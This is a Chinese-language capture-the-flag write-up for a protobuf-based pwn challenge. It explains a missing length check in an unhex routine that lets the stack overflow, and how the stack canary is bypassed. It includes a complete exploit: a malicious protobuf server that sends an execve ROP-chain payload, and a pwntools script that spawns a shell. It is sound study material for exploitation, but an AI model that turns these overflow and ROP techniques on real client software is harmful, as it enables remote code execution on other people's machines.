比赛当天情况 由于某些问题,我当时进不去我们的文档,赛题也是在群里找的,一直不清楚大部队当时做得情况,群里也没有人交流pwn的题目,导致我一个人做得很尴尬,看了3-4个小时就看不下去开摆了
题目详情 .proto文件和数据结构处理 比赛当天.proto文件倒没有给我造成特别大的阻碍,因为我记得之前碰到过几次这东西,作用就是把c/c++/python的数据结构转化为统一结构的二进制字节流。所以经过简单的gpt询问,大概步骤是这样的。
pip install protobuf
protoc --python_out=. example.proto
这条命令会由example.proto
来生成一个python文件,其中的代码可以帮助你来便捷的使用该.proto文件中描述的数据结构
在执行2的时候我遇到问题command not found: protoc
,简单搜索之后在stack_over_flow 的一个回答找到了答案:apt install protobuf-compiler
即可
这是题目所给的.proto文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 syntax = "proto3"; enum Opcode { OP_HELLO = 0; OP_SESSION = 1; OP_MSG = 2; OP_END = 3; } message Message { int32 magic = 1; int32 seq = 2; Opcode opcode = 3; bytes cont = 4; }
在protoc --python_out=. example.proto
之后得到一个example.py
文件,其中的内容并不是很重要,我们只需要在后续的程序里import example.py
即可便捷的创建Message对象。
该题特殊的交互方式 这题给的可执行文件是客户端,在执行时输入一个ip
和一个port
即可让该程序向ip:port
发送socket请求,主要的交互都发生在这个socket请求里。
这就意味着我们不仅需要像常规的pwn题一样编写直接与二进制程序交互的脚本,还需要编写服务端程序。gpt给了我接受socket链接和使用proto处理数据结构的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import socketimport odd_pb2def start_server (host, port ): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: server_socket.bind((host, port)) server_socket.listen() print (f"Server started, listening on {host} :{port} " ) while True : client_socket, client_address = server_socket.accept() with client_socket: print (f"Connection from {client_address} " ) data = client_socket.recv(1024 ) if not data: break msg = odd_pb2.Message() msg.ParseFromString(data) print (f"Received data: {msg} " ) response_data = msg.SerializeToString() client_socket.sendall(response_data) if __name__ == "__main__" : HOST = '127.0.0.1' PORT = 12345 start_server(HOST, PORT)
题目漏洞 说了半天终于到了题目漏洞了,这也是当天比赛卡住我的地方。 该题的二进制程序在与服务端建立socket链接后会有四次的来回通讯,其中每次都有对Message
对象中magic数,opcode的效验,并且除了第三次的cont可以任意由我们编写之外,其余每次的cont都必须固定并且由一样的效验。 问题就出在这第三次的cont(其实想想也很明显了,一般都是cont这种有大额输入的地方才好动手脚藏点东西,当时也想到了可能时cont但是没有细想,可惜了) 在processResponseContent
函数中,第三次的cont会被传入unhex
函数(如下图所示) 在unhex函数里面的操作是这样的,我太蠢了qwq。比赛当天没看懂什么意思(虽然后来也没看懂,半懂不懂的)。 于是询问gpt,其实就是把16进制的字符 换成16进制字节 储存,并且跳过非法字符,把最终结果放在char* a2
上,比如我输入的数据是’1244abdfhhhhaaaa’,那么经过unhex
函数,在char* a2
上的形式就是
1 '\x12\x44\xab\xdf' + '原来的两个字节的数据' + '\xaa\xaa'
并且在其中没有对于长度的检查!(为什么我当时就没有反应过来www)
那么就意味着我们可以在unhex中的char* a2
上写入任意长度的数据。
一步步追踪得到指针a2指向的其实是check_opmsg_sendrecv
函数中的一个栈上变量。
漏洞利用 既然我们可以在该函数的栈上变量读入任意可控长度,那就直接栈溢出就好了,这题的保护没有PIE,有canary。 但是canary可以通过读入非法字符来跳过写入。 接下来就是常规的rop了,具体细节可以看我的exp,然后在本地调试一下。
exp exp分为三个部分
攻击赛方实例时需要把server.py提前在拥有公网ip的服务器上布置好,并且安全组开放使用的端口
client.py指定该公网ip的服务器并且选择对应端口
odd_pb2.py则是给server.py使用的模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import socketimport odd_pb2def recv (client_socket ): data = client_socket.recv(1024 ) if not data: return 0 message = odd_pb2.Message() message.ParseFromString(data) print (f"Received data: {message} " ) return 1 def send (client_socket,magic,seq,opcode,cont ): send = odd_pb2.Message() send.magic = magic send.seq = seq send.opcode = opcode send.cont = cont send_data = send.SerializeToString() client_socket.sendall(send_data) def start_server (host, port ): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: server_socket.bind((host, port)) server_socket.listen() print (f"Server started, listening on {host} :{port} " ) while (True ): client_socket, client_address = server_socket.accept() print (f"Connection from {client_address} " ) with client_socket: recv(client_socket) send(client_socket,875704370 ,0x13370001 ,0x0 ,b'helloOk' ) recv(client_socket) send(client_socket,875704370 ,0x13370003 ,0x1 ,b'sessionOk' ) recv(client_socket) syscall = 0x65b1C0 rax = 0x54688a rdi = 0x4146a4 rsi = 0x59a4dc rdx_rbx = 0x6615aa payload = b'gggggggg' *0x10a payload +=b'8a68540000000000' payload +=b'0000000000000000' payload +=b'a446410000000000' payload +=b'0000000000000000' payload +=b'dba4590000000000' payload +=b'2831760000000000' payload +=b'0000000000000000' payload +=b'ab15660000000000' payload +=b'0010000000000000' payload +=b'0000000000000000' payload +=b'c0b1650000000000' payload +=b'8a68540000000000' payload +=b'3b00000000000000' payload +=b'a446410000000000' payload +=b'2831760000000000' payload +=b'dba4590000000000' payload +=b'0000000000000000' payload +=b'0000000000000000' payload +=b'ab15660000000000' payload +=b'0000000000000000' payload +=b'0000000000000000' payload +=b'c0b1650000000000' send(client_socket,875704370 ,0x13370005 ,0x2 ,payload) recv(client_socket) if __name__ == "__main__" : HOST = '0.0.0.0' PORT = 12345 start_server(HOST, PORT)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context( terminal = ['tmux' ,'splitw' ,'-h' ], os = "linux" , arch = "amd64" , log_level="debug" , ) def debug (io ): gdb.attach(io, ''' b *0x54688a ''' ) io = process("./oddclient" ) debug(io) io.sendlineafter(b'ip: ' ,'0.0.0.0' ) io.sendlineafter(b'port: ' ,'12345' ) io.sendline(b'/bin/sh\x00' ) io.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 """Generated protocol buffer code.""" from google.protobuf.internal import builder as _builderfrom google.protobuf import descriptor as _descriptorfrom google.protobuf import descriptor_pool as _descriptor_poolfrom google.protobuf import symbol_database as _symbol_database_sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\todd.proto\"L\n\x07Message\x12\r\n\x05magic\x18\x01 \x01(\x05\x12\x0b\n\x03seq\x18\x02 \x01(\x05\x12\x17\n\x06opcode\x18\x03 \x01(\x0e\x32\x07.Opcode\x12\x0c\n\x04\x63ont\x18\x04 \x01(\x0c*>\n\x06Opcode\x12\x0c\n\x08OP_HELLO\x10\x00\x12\x0e\n\nOP_SESSION\x10\x01\x12\n\n\x06OP_MSG\x10\x02\x12\n\n\x06OP_END\x10\x03\x62\x06proto3' ) _builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals ()) _builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'odd_pb2' , globals ()) if _descriptor._USE_C_DESCRIPTORS == False : DESCRIPTOR._options = None _OPCODE._serialized_start=91 _OPCODE._serialized_end=153 _MESSAGE._serialized_start=13 _MESSAGE._serialized_end=89
PS 我的域名过备案啦,太不容易了,这一两天应该就能搞定了。